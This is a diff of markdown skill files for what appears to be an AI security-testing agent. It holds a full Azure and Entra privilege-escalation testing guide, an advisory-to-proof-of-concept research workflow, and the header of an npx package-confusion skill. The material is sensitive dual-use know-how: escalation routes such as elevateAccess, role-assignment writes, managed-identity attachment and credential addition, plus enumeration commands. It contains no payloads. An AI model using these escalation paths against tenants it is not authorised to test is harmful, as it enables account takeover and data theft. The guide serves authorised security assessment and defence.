|
||||
- `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow
|
||||
- `dependency_cve_scanning` (custom): trivy-based SCA workflow for reporting known dependency CVEs via `create_dependency_report`
|
||||
- `npx_confusion` (custom): npx/npm exec/bunx fallback and adjacent package-runner identity confusion, with runner-specific registry and reporting gates
|
||||
- `advisory_to_poc` (custom): advisory-to-root-cause workflow for patch diffing, public PoCs, and detector design
|
||||
- `appliance_firmware` (technologies): appliance artifact, runtime, and install-state analysis
|
||||
- `protocol_reverse_engineering` (protocols): stateful/custom protocol reconstruction and safe harnessing
|
||||
- `semantic_confusion` (vulnerabilities): cross-boundary parser, normalization, and representation mismatch analysis
|
||||
- `memory_corruption` (vulnerabilities): native crash triage, primitive quality, and exploitability constraints
|
||||
- `agentic_system_security` (vulnerabilities): effective-authority and MCP/tool ecosystem security testing
|
||||
- `browser_security` (vulnerabilities): browsing-context, postMessage, XS-Leaks, service-worker, and cross-origin state-machine testing
|
||||
- `azure` (cloud): Azure and Microsoft Entra privilege, PIM, workload identity, and cross-plane escalation analysis
|
||||
- `infrastructure_lifecycle` (reconnaissance): abandoned or mutable external dependencies such as update endpoints, MX, storage, and control domains
|
||||
- `argument_injection` (vulnerabilities): shell-free CLI option smuggling, secondary argument-file parsing, and platform-specific argv transformation boundaries
|
||||
- `electron_desktop_apps` (technologies): Electron renderer-to-native trust boundaries, preload/IPC exposure, and navigation analysis
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -0,0 +1,262 @@
|
||||
---
|
||||
name: azure
|
||||
description: Microsoft Azure and Entra security testing covering RBAC, Privileged Identity Management, Conditional Access, service principals, managed identities, Storage SAS, Key Vault, workload escalation, and cross-plane privilege paths
|
||||
---
|
||||
|
||||
# Azure and Microsoft Entra Security
|
||||
|
||||
Azure security spans two related but distinct control planes:
|
||||
|
||||
- **Microsoft Entra ID** (formerly Azure AD): tenant identity, users, groups, applications, service principals, directory roles, authentication, and Conditional Access.
|
||||
- **Azure Resource Manager (ARM):** management groups, subscriptions, resource groups, resources, Azure RBAC, managed identities, and service-specific control/data planes.
|
||||
|
||||
Do not equate an Entra directory role with an Azure resource role. A principal can be weak in one plane and privileged in the other, and many escalation paths cross between them.
|
||||
|
||||
## Scope and Identity Baseline
|
||||
|
||||
Record before testing:
|
||||
|
||||
- tenant ID, cloud environment, management groups, subscriptions, and directories in scope
|
||||
- current user/service principal/managed identity object ID and home tenant
|
||||
- direct and group-derived Entra directory roles
|
||||
- Azure role assignments, scope, inheritance, conditions, and deny assignments
|
||||
- authentication method, token audience, Conditional Access result, and PIM activation state
|
||||
- test versus production subscriptions and any cross-tenant/B2B context
|
||||
|
||||
Start with native CLI context:
|
||||
|
||||
```bash
|
||||
az cloud show --output json
|
||||
az account show --output json
|
||||
az account list --all --refresh --output json
|
||||
az account management-group list --no-register --output json
|
||||
az ad signed-in-user show --output json
|
||||
az role assignment list --subscription <subscription-id> --all --include-inherited --output json
|
||||
az role assignment list --subscription <subscription-id> --assignee <user-object-id> --all --include-inherited --include-groups --output json
|
||||
az role definition list --subscription <subscription-id> --output json
|
||||
```
|
||||
|
||||
For a service principal, `az ad signed-in-user show` does not apply; resolve the current client/service-principal object explicitly from the reviewed credential context. `--all` remains scoped to the selected subscription, and `--include-groups` depends on Microsoft Graph and can still miss nested or workload-derived paths. Repeat the inventory per tenant, management-group root, and in-scope subscription. Never infer identity only from a display name.
|
||||
|
||||
## Azure RBAC
|
||||
|
||||
An Azure role assignment joins three elements: a security principal, a role definition, and a scope. Scope inheritance runs from management group to subscription to resource group to resource.
|
||||
|
||||
### Review
|
||||
|
||||
- Enumerate direct, group-derived, inherited, eligible, and active assignments separately.
|
||||
- Expand custom role `Actions`, `NotActions`, `DataActions`, and `NotDataActions`; the role name is not a reliable summary.
|
||||
- Inspect assignment conditions/ABAC, deny assignments, management-group inheritance, and cross-tenant principals.
|
||||
- Identify broad scopes for Owner, Contributor, User Access Administrator, Role Based Access Control Administrator, and custom equivalents.
|
||||
- Check who can write role assignments, role definitions, policies, locks, deployments, managed identities, credentials, or compute configuration.
|
||||
- Distinguish ARM control-plane permission from service data-plane permission. Contributor over a resource may still gain its data through code/configuration or a managed identity even without direct data actions.
|
||||
|
||||
### High-Value Cross-Plane Paths
|
||||
|
||||
- Active Microsoft Entra Global Administrator can elevate into Azure by using `Microsoft.Authorization/elevateAccess/action` to grant User Access Administrator at the root `/` scope. That root assignment can persist after PIM deactivation until it is explicitly removed.
|
||||
- `Microsoft.Authorization/roleAssignments/write` or equivalent role-management authority → grant a stronger role at an allowed scope.
|
||||
- Ability to modify a VM, VM extension, Function App, App Service, Container App, Automation runbook, deployment script, Logic App, or similar workload → execute in that workload's identity and network context.
|
||||
- Ability to attach or replace a user-assigned managed identity, together with the host resource write path and `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` → inherit its downstream Azure permissions.
|
||||
- Ability to modify federated identity credentials, app credentials, certificates, or owners → impersonate a service principal/application.
|
||||
- Ability to read deployment outputs, app settings, runbook variables, storage, snapshots, disks, backups, or diagnostic settings → recover credentials or sensitive data.
|
||||
- Broad policy/deployment rights at a parent scope → affect many child resources even when individual resource assignments appear narrow.
|
||||
|
||||
Model each path using exact principal, action, resource, scope, condition, and resulting effective permission. Check Azure Policy and deny assignments before declaring a theoretical path exploitable.
|
||||
|
||||
## Privileged Identity Management (PIM)
|
||||
|
||||
[Microsoft Entra Privileged Identity Management](https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure) provides time-based and approval-based activation for privileged access. It can govern Microsoft Entra roles, Azure resource roles, and PIM for Groups.
|
||||
|
||||
PIM terminology:
|
||||
|
||||
- **eligible:** the principal must activate before using the role
|
||||
- **active:** the principal can use the role without activation
|
||||
- **permanent/time-bound:** duration of eligibility or assignment
|
||||
- **activated:** a currently active, time-limited instance created from eligibility
|
||||
|
||||
### What to Test
|
||||
|
||||
- Permanent active assignments where eligible/JIT access is expected.
|
||||
- Permanent eligibility without access reviews, expiration, or a business need.
|
||||
- Roles that activate without MFA, approval, justification, notification, or a short duration.
|
||||
- Approvers who can approve themselves indirectly, lack separation of duties, or no longer own the system.
|
||||
- Group-based eligibility where group ownership/membership can be changed by a lower-privileged principal.
|
||||
- PIM for Groups on role-bearing groups where a lower-privileged principal can alter ownership, membership, or activation controls.
|
||||
- PIM settings applied to one privileged role but omitted from a custom/equivalent role.
|
||||
- Directory-role PIM configured while equivalent Azure resource roles remain permanently active, or vice versa.
|
||||
- Standing service-principal/workload access. Eligible Azure RBAC via PIM is a user-centric control; service principals and managed identities remain standing or time-bounded active assignments, not user-style eligible activations.
|
||||
- Activation sessions that remain useful through cached tokens, active sessions, delegated jobs, or downstream credentials after the intended window.
|
||||
- Audit/alert coverage for assignment, activation, approval, renewal, extension, and role-setting changes.
|
||||
|
||||
With sufficient Microsoft Graph read permissions, compare current schedule instances:
|
||||
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url 'https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleInstances?$expand=principal,roleDefinition'
|
||||
|
||||
az rest --method GET \
|
||||
--url 'https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleInstances?$expand=principal,roleDefinition'
|
||||
```
|
||||
|
||||
Those endpoints cover Microsoft Entra role schedules. Follow `@odata.nextLink`, and record the exact Graph permissions or delegated role used because weak tokens silently under-enumerate. Azure resource-role PIM is exposed through ARM's `Microsoft.Authorization` role eligibility/assignment schedule resources; keep the two inventories separate:
|
||||
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleEligibilityScheduleInstances?api-version=2020-10-01&\$filter=atScope()"
|
||||
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleAssignmentScheduleInstances?api-version=2020-10-01&\$filter=atScope()"
|
||||
```
|
||||
|
||||
Follow `nextLink` there as well. For Entra directory-role inventory, reviewed readers commonly need `RoleEligibilitySchedule.Read.Directory` and `RoleAssignmentSchedule.Read.Directory` or an equivalent delegated role/application permission set.
|
||||
|
||||
## Conditional Access and Authentication
|
||||
|
||||
[Conditional Access](https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview) is Entra's identity-driven policy engine and is evaluated after first-factor authentication.
|
||||
|
||||
Review:
|
||||
|
||||
- policies in on/off/report-only state and coverage of users, groups, roles, applications, authentication contexts, and workload identities
|
||||
- exclusions for break-glass accounts, admins, service accounts, guest users, locations, devices, or applications
|
||||
- admin and management surfaces not covered by phishing-resistant MFA or appropriate authentication strength
|
||||
- legacy authentication and non-interactive flows that do not receive the intended policy
|
||||
- device compliance/join trust, named locations, sign-in/user risk, session lifetime, continuous access evaluation, and token protection where used
|
||||
- policy gaps caused by nested groups, guest/home tenant behavior, service principals, managed identities, or application-specific grant paths
|
||||
- whether emergency access exclusions are narrowly scoped, monitored, credential-protected, and exercised
|
||||
|
||||
For workload identities, Conditional Access applies only in limited cases: directly targeted tenant-owned single-tenant service principals can be controlled, but managed identities, Microsoft-owned service principals, most third-party SaaS service principals, and multitenant app registrations do not inherit human MFA semantics. Target the enterprise application service-principal object, not just the app registration, and verify the control at token issuance.
|
||||
|
||||
Use sign-in logs and the Conditional Access result to distinguish policy non-application from policy failure. Report-only evaluation is evidence of intended future control, not enforcement.
|
||||
|
||||
## Applications, Service Principals, and Workload Identity
|
||||
|
||||
An app registration is the tenant-level application definition; a service principal is the local security principal representing an application instance in a tenant.
|
||||
|
||||
Inventory:
|
||||
|
||||
- owners of application and service-principal objects, separately
|
||||
- delegated versus application permissions and admin consent
|
||||
- client secrets/certificates, expiry, unused/stale credentials, and credential-add rights
|
||||
- federated identity credentials: issuer, subject, audience, repository/branch/environment claims
|
||||
- multitenant applications, publisher verification, consent grants, and cross-tenant access settings
|
||||
- service-principal role assignments in both Entra and Azure
|
||||
- automation/CI connections and whether test identities can reach production
|
||||
|
||||
Keep application-object authority separate from service-principal authority. Application ownership and `Application.ReadWrite.*` can add owners, client secrets, certificates, or federated credentials on the app object; service-principal ownership and `ServicePrincipal.ReadWrite.*` govern the enterprise application instance. Admin consent is a separate control plane from credential management. Also trace group ownership/membership where a role-bearing group grants app, vault, Azure RBAC, or Entra role access. A secret's metadata proves age/expiry but not that its value is retrievable.
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Managed identities remove stored credentials but still carry authority:
|
||||
|
||||
- **system-assigned:** lifecycle is tied to one Azure resource
|
||||
- **user-assigned:** independent resource assignable to multiple workloads
|
||||
|
||||
Enumerate identity attachments and downstream role assignments. Check who can attach/detach the identity, execute or deploy code in the host workload, access its metadata/token endpoint, or reuse a user-assigned identity across environments. Treat workload control as potential identity control.
|
||||
|
||||
## Storage and SAS
|
||||
|
||||
A Shared Access Signature (SAS) delegates access to Azure Storage through a signed URI. Review:
|
||||
|
||||
- SAS type: user delegation, service, or account SAS
|
||||
- services/resource types, permissions, start/expiry, protocol, IP restriction, and stored access policy
|
||||
- long-lived tokens in source, CI logs, tickets, browser history, application settings, or public URLs
|
||||
- account-key use, `listKeys` authority, and key-rotation feasibility
|
||||
- public container/blob access, anonymous listing, network rules, private endpoints, and trusted-service exceptions
|
||||
- storage RBAC and whether principals can generate user-delegation keys or list account keys
|
||||
|
||||
Microsoft recommends a user delegation SAS where supported because it is secured with Entra credentials rather than the account key. User delegation keys and SAS values are time-limited and user-scoped; service/account SAS values derive from account keys, and only service SAS can bind to stored access policies. User delegation SAS is limited to Blob/Data Lake and has a maximum seven-day validity per delegation key. A SAS is a bearer credential; possession can be sufficient even when the holder has no visible Azure role assignment.
|
||||
|
||||
Validate each token against its signed permission/resource/time restrictions. Do not treat a redacted or expired SAS found in code as current unauthorized access.
|
||||
|
||||
## Key Vault, Secrets, and Certificates
|
||||
|
||||
- Determine whether the vault uses Azure RBAC or legacy access policies. The active model is controlled by `enableRbacAuthorization`; RBAC mode invalidates access-policy evaluation for data-plane access.
|
||||
- Enumerate who can read secrets, keys, and certificates; who can change access; and who controls workloads with vault-reading identities.
|
||||
- Review public network access, firewall/private endpoints, soft delete, purge protection, logging, secret expiry, and rotation.
|
||||
- Distinguish key operations (sign/decrypt/wrap) from key export and secret-value read.
|
||||
- Look for vault references copied into app settings without corresponding identity isolation.
|
||||
- Test backup/restore and cross-subscription permissions where in scope.
|
||||
|
||||
Legacy access-policy write authority on the vault resource can still become self-granting in access-policy mode. In RBAC mode, the equivalent finding depends on `DataActions` or role-assignment control, not on legacy access-policy mutation.
|
||||
|
||||
## Credential-Equivalent Actions
|
||||
|
||||
Treat the following as credential-equivalent or near-equivalent authority when the downstream scope matches:
|
||||
|
||||
| Surface | Action or state | Why it matters |
|
||||
|---|---|---|
|
||||
| Azure RBAC | `Microsoft.Authorization/roleAssignments/write` | grants new authority directly |
|
||||
| Root scope | `Microsoft.Authorization/elevateAccess/action` | bridges Entra Global Administrator into Azure root access |
|
||||
| Managed identity | host config write plus `.../userAssignedIdentities/assign/action` | attaches a stronger identity to attacker-controlled code |
|
||||
| App object | add secret/cert/federated credential or owner | permits application impersonation |
|
||||
| Service principal | add credential/owner or modify federation | permits enterprise-app impersonation |
|
||||
| Storage | `listKeys` or account-key disclosure | enables service/account SAS and broad account access |
|
||||
| Storage | `generateUserDelegationKey` with matching data rights | enables user delegation SAS issuance |
|
||||
| Key Vault | secret-value read, key sign/decrypt/wrap, or self-grant path | grants equivalent access even without export |
|
||||
|
||||
## Compute, Network, and Data Services
|
||||
|
||||
- VM extensions, Run Command, serial console, disks/snapshots, images, custom script, and boot diagnostics
|
||||
- App Service/Functions deployment slots, publishing credentials, SCM/Kudu, app settings, storage mounts, and managed identities
|
||||
- AKS control plane/RBAC, workload identity federation, kubeconfig retrieval, node/resource-group rights, and private API reachability
|
||||
- Container Apps/ACI environment variables, registries, identities, revisions, and exec surfaces
|
||||
- Automation accounts/runbooks, Logic Apps/connectors, Data Factory linked services, deployment scripts, and DevOps/service connections
|
||||
- NSGs, route tables, public IPs, load balancers, private endpoints, DNS, peering, Bastion, firewalls, and JIT VM access
|
||||
- SQL, Cosmos DB, Storage, Service Bus, Event Hubs, and other service-specific data-plane authorization
|
||||
|
||||
Map whether a principal that lacks direct data access can reconfigure networking, identity, code, diagnostics, export, backup, or deployment to gain an equivalent capability.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Establish context** — tenant, subscription, cloud, principal, token audience, and active PIM state.
|
||||
2. **Inventory both role planes** — Entra directory roles and Azure resource roles with groups, scope, inheritance, conditions, eligible/active state, and custom definitions.
|
||||
3. **Map identity objects** — applications, service principals, managed identities, owners, credentials, federation, and consent.
|
||||
4. **Review policy gates** — Conditional Access, authentication methods, PIM settings, Azure Policy, deny assignments, and network restrictions.
|
||||
5. **Enumerate workloads/data** — identify where control-plane modification yields code execution, identity use, secrets, backups, or data-plane access.
|
||||
6. **Build effective-access paths** — principal → permission → resource change/identity → downstream privilege or data.
|
||||
7. **Cross-check logs** — Entra sign-in/audit, PIM, Azure Activity, resource logs, and Defender/Sentinel alerts where available.
|
||||
8. **Re-evaluate boundaries** — guest/home tenant, management-group inheritance, test/production, group ownership, and workload identities.
|
||||
|
||||
## Validation
|
||||
|
||||
For each finding, include:
|
||||
|
||||
1. tenant/subscription and exact principal/object IDs
|
||||
2. assignment source, role definition, scope, inheritance, condition, and PIM state
|
||||
3. relevant Conditional Access/authentication result
|
||||
4. exact Azure/Graph action and target resource
|
||||
5. effective permission or cross-plane path demonstrated
|
||||
6. policy, deny, network, licensing, or configuration prerequisites
|
||||
7. audit/sign-in/activity evidence and remediation at the correct control plane
|
||||
|
||||
## Common False Positives
|
||||
|
||||
- Role name appears privileged but custom `Actions`/`DataActions`, conditions, scope, or deny assignments block the claimed action.
|
||||
- Contributor is reported as able to assign roles without `roleAssignments/write` or an alternate workload/identity path.
|
||||
- An eligible PIM assignment is described as standing active access.
|
||||
- A Conditional Access policy exists but is report-only, excluded, or does not apply to the tested principal/application.
|
||||
- An app registration is confused with its service principal in another tenant.
|
||||
- A managed identity is present but the tester cannot control its host or obtain a token in the relevant context.
|
||||
- An expired/revoked SAS or credential metadata is reported as usable access.
|
||||
- ARM access is assumed to grant service data-plane access automatically.
|
||||
|
||||
## Tooling
|
||||
|
||||
### Azure CLI and Microsoft Graph
|
||||
|
||||
Use the official Azure CLI for resource context and `az rest` for reviewed ARM/Graph queries not exposed cleanly by a command group. Record CLI/API versions and requested permissions. Broad directory inventory often requires Microsoft Graph application permissions and admin consent; absence of results under a weak token is not proof that objects do not exist.
|
||||
|
||||
### Prowler (Conditional)
|
||||
|
||||
[Prowler](https://github.com/prowler-cloud/prowler) provides maintained Azure configuration/compliance checks. Install a reviewed pinned release in an isolated environment:
|
||||
|
||||
```bash
|
||||
python -m pip install 'prowler==<reviewed-version>'
|
||||
prowler azure --az-cli-auth --subscription-ids <subscription-id>
|
||||
```
|
||||
|
||||
Other documented modes include service-principal, browser, and managed-identity authentication. Use a dedicated read-only audit principal with only the documented tenant/subscription permissions. Scope subscription IDs explicitly, protect reports as sensitive asset/identity inventories, account for API volume/throttling, and do not enable cloud upload for assessment data unless approved. Prowler findings are configuration leads; trace effective principal/action/resource paths before treating them as exploitable.
|
||||
|
||||
## Summary
|
||||
|
||||
Azure security is an identity-and-scope graph across Entra and ARM. Test directory roles, Azure RBAC, PIM, Conditional Access, service principals, managed identities, delegated storage access, workload control, and service data planes as one system while preserving the distinction between each control plane.
|
||||
@@ -0,0 +1,235 @@
|
||||
---
|
||||
name: advisory-to-poc
|
||||
description: Vulnerability research workflow for turning advisories, patches, release artifacts, public PoCs, and incident clues into root-cause analysis, safe reproducers, reliable detectors, patch-bypass review, and adjacent-bug hypotheses
|
||||
---
|
||||
|
||||
# Advisory to PoC
|
||||
|
||||
Use this skill for authorized product-security and n-day research where the starting point is an advisory, fixed release, patch, public PoC, or incident evidence rather than a known vulnerable endpoint.
|
||||
|
||||
The goal is a version-bounded root-cause explanation and reliable, reproducible validation. Do not equate a changed function, crash, scanner hit, or advisory claim with exploitability.
|
||||
|
||||
## Evidence Ledger
|
||||
|
||||
Keep facts, inferences, and experiments separate:
|
||||
|
||||
| Type | Examples |
|
||||
|---|---|
|
||||
| Published fact | affected versions, CWE, exposed feature, vendor mitigation |
|
||||
| Artifact fact | changed function, new validation, removed route, configuration delta |
|
||||
| Inference | likely attacker-controlled field, suspected auth path, probable sink |
|
||||
| Experiment | vulnerable response, fixed response, crash, OAST callback, file canary |
|
||||
|
||||
Record source URL, artifact hash, product edition/branch, build number, platform, configuration, and date. Re-check assumptions whenever the experimental result conflicts with the advisory narrative.
|
||||
|
||||
## Research Workflow
|
||||
|
||||
### 1. Scope the Claim
|
||||
|
||||
- Extract affected and fixed versions, branches, platforms, roles, protocols, and feature/configuration prerequisites.
|
||||
- Note whether the vendor describes impact, root cause, mitigation, or only a CWE category.
|
||||
- Treat bundled CVEs and large release rollups as multiple candidate changes until proven otherwise.
|
||||
- Identify whether the issue is pre-auth, low-privilege, post-auth, local, or requires a victim/session bridge.
|
||||
|
||||
### 2. Acquire Comparable Artifacts
|
||||
|
||||
Prefer the closest vulnerable/fixed pair for the same edition and platform:
|
||||
|
||||
- source commits, tags, tests, pull requests, and dependency lockfiles
|
||||
- packages, containers, installers, JAR/WAR/DLL/assemblies, Python bytecode, firmware, or VM images
|
||||
- web-server/reverse-proxy configuration, service definitions, scripts, and bundled third-party components
|
||||
- documentation and shipped examples that reveal routes, protocols, defaults, or extension points
|
||||
|
||||
Hash originals and work on copies. Preserve installation lineage: default credentials, generated keys, legacy files, and retained configs may matter even if a fresh fixed install does not contain them.
|
||||
|
||||
### 3. Reduce Diff Noise
|
||||
|
||||
Start with inventories before line-by-line analysis:
|
||||
|
||||
- added/removed/renamed files and dependencies
|
||||
- changed routes, authorization annotations, allowlists/denylists, parser calls, command construction, length checks, and deserialization types
|
||||
- edge configuration changes that block or rewrite a route without changing application code
|
||||
- tests added, removed, or updated; these often encode a near-ready reproducer
|
||||
- sibling call sites of the changed helper or validator
|
||||
|
||||
For binaries, combine string/import/symbol diffing with a decompiler and a second diffing method when possible. Large compiler or bundled-library changes create false clusters; anchor on advisory-relevant constants, protocol handlers, response strings, and call graphs.
|
||||
|
||||
### 4. Map External Reachability
|
||||
|
||||
Work from both directions:
|
||||
|
||||
```text
|
||||
external listener -> edge config -> router -> authentication -> parser -> sink
|
||||
known changed sink -> callers -> route/protocol -> authentication -> external listener
|
||||
```
|
||||
|
||||
Inventory auxiliary listeners, management agents, sidecars, localhost APIs, custom RPC services, CGI/script dispatch, and framework direct-component routes. Do not assume the main web UI's authentication protects every product service.
|
||||
|
||||
Record branch-specific and configuration-specific exposure. A powerful sink behind a disabled feature or unreachable route is not a pre-auth vulnerability.
|
||||
|
||||
### 5. Explain the Patch Mechanism
|
||||
|
||||
State what security invariant the patch tries to restore:
|
||||
|
||||
- bounds, termination, initialization, or length/type consistency
|
||||
- authentication/authorization before dispatch
|
||||
- canonicalization before comparison
|
||||
- allowlisted deserialization or reflection targets
|
||||
- safe command/process APIs instead of shell construction
|
||||
- file path confinement and extension/handler restrictions
|
||||
- route removal or edge blocking
|
||||
- session-field filtering or trustworthy state reconstruction
|
||||
|
||||
Then ask what the patch did not change: alternate callers, sibling parsers, secondary routes, nested gadgets, transitive deserialization, old aliases, different protocol handlers, and edge/application disagreement.
|
||||
|
||||
### 6. Build a Reproducer Ladder
|
||||
|
||||
Escalate one capability at a time:
|
||||
|
||||
1. **Presence** - product/version/protocol fingerprint with low noise
|
||||
2. **Reachability** - expected route/parser/handler responds
|
||||
3. **Security differential** - unauthorized behavior differs from a denied control
|
||||
4. **Primitive** - safe read, controlled callback, canary write, harmless constructor, or deterministic crash in an isolated lab
|
||||
5. **Impact** - demonstrate the requested authorized impact and preserve its prerequisites
|
||||
|
||||
Prefer distinctive non-secret response structure, benign errors, OAST DNS/HTTP callbacks, inert file markers, or no-op commands. For deserialization, use a non-executing network gadget before command execution. For memory corruption, establish the bug and mitigation constraints in a lab; a connection close or crash is not proof of RCE.
|
||||
|
||||
### 7. Calibrate on Controls
|
||||
|
||||
Run the same reproducer against:
|
||||
|
||||
- vulnerable version
|
||||
- fixed version
|
||||
- unaffected neighboring version where available
|
||||
- feature disabled / hardened configuration
|
||||
- malformed but non-triggering negative input
|
||||
- authentication present vs absent, if the claim crosses an auth boundary
|
||||
|
||||
Repeat enough times to distinguish deterministic behavior from crashes, timing noise, worker restarts, load balancers, and transient network failures.
|
||||
|
||||
### 8. Hunt Adjacent and Partial Fixes
|
||||
|
||||
After reproducing the primary issue:
|
||||
|
||||
- enumerate every call site of the patched function/validator
|
||||
- cluster nearby handlers using the same parser, session format, command wrapper, or file primitive
|
||||
- replay the old PoC and structural variants against the first fixed version
|
||||
- inspect whether the patch blocks the route while leaving the sink reachable elsewhere
|
||||
- test nested/transitive objects rather than only top-level denylisted types
|
||||
- check whether one advisory/CVE bundles multiple distinct vulnerable paths
|
||||
|
||||
Do not call a variant a bypass until the fixed version demonstrably remains vulnerable.
|
||||
|
||||
## Tool Routing
|
||||
|
||||
Use the lightest maintained tool that answers the current question. Pin versions in research notes and preserve generated outputs so another analyst can reproduce the diff.
|
||||
|
||||
### Artifact and Package Diff: diffoscope
|
||||
|
||||
[diffoscope](https://diffoscope.org/) is the default first pass for packages, directories, archives, and binaries. Use it to build a changed-file/config/package manifest before opening a decompiler. For hostile artifacts, keep inputs read-only, disable network, and run the helper-heavy comparison in an isolated environment.
|
||||
|
||||
### Firmware and Appliance Artifacts
|
||||
|
||||
When the starting point is firmware, a virtual appliance, or a nested image format, load `appliance_firmware`. That skill owns extraction, package/rootfs/runtime correlation, Ghidra/BinDiff routing, overlay/install-state analysis, and device-lifecycle caveats.
|
||||
|
||||
### Java/JVM: Vineflower
|
||||
|
||||
Use maintained [Vineflower](https://github.com/Vineflower/vineflower) for JAR/class decompilation. Diff archive inventories before decompiled text; compiler, obfuscator, and synthetic-code changes produce noise. Confirm suspicious control flow with bytecode (`javap -c`) rather than treating reconstructed Java as source truth.
|
||||
|
||||
### .NET: ILSpy / ilspycmd
|
||||
|
||||
Use [ILSpy](https://github.com/icsharpcode/ILSpy) for managed assemblies. Work offline, inspect IL/metadata when the C# reconstruction is ambiguous, and use only GitHub Releases or NuGet.
|
||||
|
||||
### Native Code: Ghidra and BinDiff
|
||||
|
||||
Use official [Ghidra](https://github.com/NationalSecurityAgency/ghidra) for cross-architecture disassembly/decompilation and [BinDiff](https://github.com/google/bindiff) only after the file/package diff has narrowed the relevant binaries. Keep the toolchain pinned, offline where practical, and non-executing. Decompiler output and similarity scores are triage aids, not proof.
|
||||
|
||||
## Source and Binary Techniques
|
||||
|
||||
### Source-Available Products
|
||||
|
||||
- Search route declarations, filters/interceptors, auth decorators, and direct framework component dispatch.
|
||||
- Trace attacker-controlled fields through type coercion, validation, shell/process APIs, filesystem operations, reflection, template/XSLT evaluation, and deserialization.
|
||||
- Compare callers, not just the patched callee. The same helper may be safe in one route and exposed in another.
|
||||
- Read tests and examples for expected protocol syntax and serialized message shapes.
|
||||
|
||||
### Managed Artifacts
|
||||
|
||||
- Decompile JAR/WAR and .NET assemblies; diff namespaces/classes/method bodies and embedded configuration.
|
||||
- Trace public setters, opaque identifiers, type metadata, and framework serialization hooks.
|
||||
- Inspect bundled libraries and version changes, but prove application reachability before assigning impact.
|
||||
|
||||
### Native Binaries and Firmware
|
||||
|
||||
- Inventory architecture, mitigations, imports, strings, services, and exposed ports before deep reversing.
|
||||
- Diff functions around new bounds checks, initialization, string termination, length casts, command builders, and protocol parsers.
|
||||
- Reconstruct the smallest valid protocol state machine before mutating the suspected field.
|
||||
- Use debuggers, sanitizers, traces, and process monitors inside an isolated lab when available.
|
||||
- Separate bug existence from exploitability under ASLR, NX, stack canaries, allocator behavior, architecture, and restart model.
|
||||
|
||||
### Public PoC or Incident First
|
||||
|
||||
- First decompose and neutralize a public or captured PoC; reproduce its stages in an isolated lab while preserving the headers, ordering, sessions, and negotiation relevant to each stage.
|
||||
- Decompose the PoC into stages and identify the oracle for each stage.
|
||||
- Work backward from the final sink to root cause and forward from the entry point to confirm reachability.
|
||||
- If no patch pair exists, controlled honeypot/instrumentation can reveal in-the-wild request structure; never expose a live vulnerable system beyond an isolated, monitored environment.
|
||||
|
||||
Pair `protocol_reverse_engineering` when the external entry point is binary, TLS-wrapped, message-oriented, or stateful.
|
||||
|
||||
## Detector Design
|
||||
|
||||
A detector must distinguish the vulnerable behavior reliably from fixed and unaffected behavior:
|
||||
|
||||
- match a structural response or deterministic state change, not a secret value
|
||||
- use a unique per-target canary and clean it up when the test writes data
|
||||
- distinguish patched denial from generic 404/500, WAF blocking, authentication failure, and connection loss
|
||||
- complete protocol/session prerequisites instead of relying on a single raw request
|
||||
- rate-limit crash-prone or resource-intensive probes and keep them opt-in
|
||||
- calibrate templates against vulnerable, fixed, and negative-control targets
|
||||
|
||||
When scaling, separate fingerprinting from exploitation. Presence can prioritize assets; it does not confirm the vulnerability.
|
||||
|
||||
## Exploitability Triage
|
||||
|
||||
Rate each condition explicitly:
|
||||
|
||||
- attacker position and credentials
|
||||
- default vs optional feature/configuration
|
||||
- internet-facing vs auxiliary/local listener
|
||||
- data/byte/control precision
|
||||
- restart, race, victim action, or environment requirements
|
||||
- available mitigations and architecture
|
||||
- reliable primitive vs crash-only or unstable behavior
|
||||
- practical post-primitive chain in the product's default deployment
|
||||
|
||||
Down-rate unrealistic chains even when the underlying bug is real. Conversely, revisit “low” primitives such as SSRF, reflection, arbitrary write, cache control, or information disclosure in product context; native admin features may convert them into RCE.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. exact affected/fixed artifacts and hashes
|
||||
2. authoritative published claims and unresolved ambiguity
|
||||
3. minimal relevant diff and restored invariant
|
||||
4. external route/protocol and auth/config prerequisites
|
||||
5. source-to-sink or packet-to-sink trace
|
||||
6. safe reproducer plus positive and negative controls
|
||||
7. vulnerable vs fixed results across repeat runs
|
||||
8. exploitability constraints and why the demonstrated impact follows
|
||||
9. adjacent paths reviewed and any partial-fix evidence
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
- Trusting the advisory CWE/title as the actual root cause
|
||||
- Diffing only application code while ignoring edge/proxy/service configuration
|
||||
- Treating any crash, close, 500, scanner alert, or changed function as exploitation
|
||||
- Running a weaponized public PoC before isolating its stages and side effects
|
||||
- Claiming pre-auth impact without tracing the complete auth and routing path
|
||||
- Assuming one CVE maps to one code path or one patch fixes the whole vulnerability class
|
||||
- Searching only for the published payload instead of the restored invariant
|
||||
- Reporting a registry/download/callback signal without separating automated noise from authentic target execution
|
||||
- Generalizing from one appliance/version/configuration without testing prerequisites
|
||||
|
||||
## Summary
|
||||
|
||||
Advisory-driven research is evidence-driven reverse engineering. Acquire comparable artifacts, reduce the diff to a security invariant, prove external reachability, climb a safe reproducer ladder, calibrate against fixed and negative controls, and then audit sibling paths and partial fixes. The reusable output is the method and invariant—not the vendor-specific exploit string.
|
||||
@@ -0,0 +1,233 @@
|
||||
---
|
||||
name: npx-confusion
|
||||
description: Test package and executable identity confusion in npx, npm exec, and bunx fallback, plus explicit auto-fetch runners such as pnpm/yarn dlx and deno run npm:, with runner-specific resolution analysis, registry-state controls, reporting gates, and false-positive elimination
|
||||
---
|
||||
|
||||
# npx Confusion
|
||||
|
||||
